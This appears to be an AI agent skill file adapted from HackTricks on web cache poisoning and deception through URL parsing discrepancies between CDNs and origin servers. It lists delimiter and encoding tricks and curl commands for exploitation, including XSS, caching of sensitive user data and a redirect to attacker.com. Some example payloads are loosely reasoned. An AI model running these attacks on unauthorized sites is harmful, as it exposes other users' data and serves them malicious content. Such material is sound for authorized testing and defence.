Hacktricks-skills cache-poisoning-url-discrepancies

How to perform cache poisoning attacks by exploiting URL parsing discrepancies between cache proxies and web servers. Use this skill whenever the user mentions cache poisoning, CDN vulnerabilities, URL parsing issues, proxy discrepancies, or wants to test for cache-related security issues. This skill helps identify when cache servers and origin servers interpret URLs differently, allowing attackers to poison caches with malicious content.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies/SKILL.MD
source content

Cache Poisoning via URL Discrepancies

This skill helps you perform cache poisoning attacks by exploiting discrepancies between how cache proxies and web servers parse and normalize URLs.

Core Concept

The goal is to make the cache server think a static resource is being loaded so it caches the response, while the cache key differs from what the origin server actually resolves. This allows you to:

  • Cache dynamic responses (containing sensitive user data)
  • Inject malicious payloads (XSS, redirects)
  • Serve attacker-controlled content to other users

Attack Methodology

Step 1: Identify URL Delimiters

Different frameworks and servers use different delimiters that can be exploited:

DelimiterFramework/ServerExample
;
(semicolon)
Spring
/hello;var=a/world
/hello/world
.
(dot)
Ruby on Rails
/MyAccount.css
/MyAccount
%00
(null byte)
OpenLiteSpeed
/MyAccount%00aaa
/MyAccount
%0a
(newline)
Nginx
/users/MyAccount%0aaaa
/account/MyAccount

Testing Process:

  1. Identify non-cacheable requests to monitor URL handling
  2. Append random suffixes to paths and compare responses
  3. Introduce potential delimiters before the suffix to see if responses change

Step 2: Test Encoding Discrepancies

Cache and origin servers decode URLs differently. Test by:

  1. Load a path without encoding and note the response
  2. Send the same path with URL-encoded characters
  3. Check if the encoded path response came from cache

Example:

  • Request
    /myAccount%3Fparam
    (where
    %3F
    =
    ?
    )
  • If cache stores
    /myAccount%3Fparam
    but origin resolves
    /myAccount?param
    , you have a discrepancy

Step 3: Test Dot Segment Normalization

Some servers normalize dot segments differently:

  • /static/../home/index
    might be cached as-is
  • Origin might resolve it to
    /home/index

Test patterns:

  • /static/../home/index
  • /aaa..\home/index
  • /static/..%2Fhome
    (URL-encoded forward slash)
  • /static/..%5Chome
    (URL-encoded backslash)

Step 4: Exploit Static Resource Caching

Many CDNs always cache certain file types and directories:

Cloudflare always caches these extensions:

7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst,
avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin,
ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps,
jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac,
mid, pls, tar, xlsx

Well-known static directories:

/static, /assets, /wp-content, /media, /templates, /public, /shared

Always-cached files:

/robots.txt, /favicon.ico, /index.html

Exploitation patterns:

  1. Delimiter + static extension:

    • Request:
      /home$image.png
    • Cache stores:
      /home$image.png
    • Origin responds:
      /home
  2. Static directory + dots:

    • Request:
      /home/..%2fstatic/something
    • Cache stores:
      /static/something
    • Origin responds:
      /home
  3. Static file + dots:

    • Request:
      /home/..%2Frobots.txt
    • Cache stores:
      /robots.txt
    • Origin responds:
      /home

Practical Testing Workflow

1. Reconnaissance

# Check if target uses a CDN
whois example.com
# Look for CDN headers in responses

2. Cache Detection

# Send same request twice, check for cache headers
curl -I https://example.com/test
# Look for: X-Cache, X-Cache-Hit, Age, CF-Cache-Status

3. Delimiter Testing

# Test semicolon delimiter
curl "https://example.com/home;test=value"

# Test dot delimiter
curl "https://example.com/home.test"

# Test null byte
curl "https://example.com/home%00test"

# Test newline
curl "https://example.com/home%0atest"

4. Encoding Testing

# Test various encodings of the same character
curl "https://example.com/home%3Fparam=value"
curl "https://example.com/home%253Fparam=value"
curl "https://example.com/home%25253Fparam=value"

5. Static Resource Testing

# Test with static extension
curl "https://example.com/admin$image.png"

# Test with static directory
curl "https://example.com/admin/..%2Fstatic/test.js"

# Test with always-cached file
curl "https://example.com/admin/..%2Frobots.txt"

Payload Examples

XSS Injection

# Poison cache with XSS payload
curl "https://example.com/home/..%2Fstatic/malicious.js" \
  -H "X-Forwarded-For: <victim-ip>"

# The cache stores /static/malicious.js
# But origin serves /home with XSS payload

Sensitive Data Exposure

# Cache user-specific data as "static"
curl "https://example.com/user/profile$image.png"
# Cache stores /user/profile$image.png
# Origin serves /user/profile (with sensitive data)
# Other users requesting /user/profile get cached sensitive data

Redirect Attack

# Cache a redirect to attacker-controlled domain
curl "https://example.com/login/..%2Fstatic/redirect.js"
# Cache stores /static/redirect.js
# Origin serves /login with redirect to attacker.com

Verification

After attempting cache poisoning:

  1. Check cache headers - Look for
    X-Cache: HIT
    or
    CF-Cache-Status: HIT
  2. Request from different IP - See if you get the poisoned response
  3. Check cache key - Use browser dev tools or proxy to see what's cached
  4. Compare responses - Ensure the cached response differs from what origin would normally serve

Common Targets

  • Applications behind Cloudflare, CloudFront, Fastly, Akamai
  • Sites with mixed static/dynamic content
  • Applications with user-specific data in URLs
  • Sites with authentication bypass potential

Mitigation Indicators

If you see these, the target may be protected:

  • Strict cache key configuration
  • No caching of dynamic content
  • Proper URL normalization on both cache and origin
  • Cache bypass headers for authenticated requests

Tools

  • Burp Suite - For intercepting and modifying requests
  • curl - For quick testing
  • Custom scripts - For automated delimiter/encoding testing
  • Browser DevTools - For inspecting cache headers

Important Notes

  • Always get proper authorization before testing
  • Document findings carefully for bug bounty reports
  • Some discrepancies may be intentional (e.g., for A/B testing)
  • False positives are common - verify by testing from different IPs
  • Cache behavior can vary by region and CDN configuration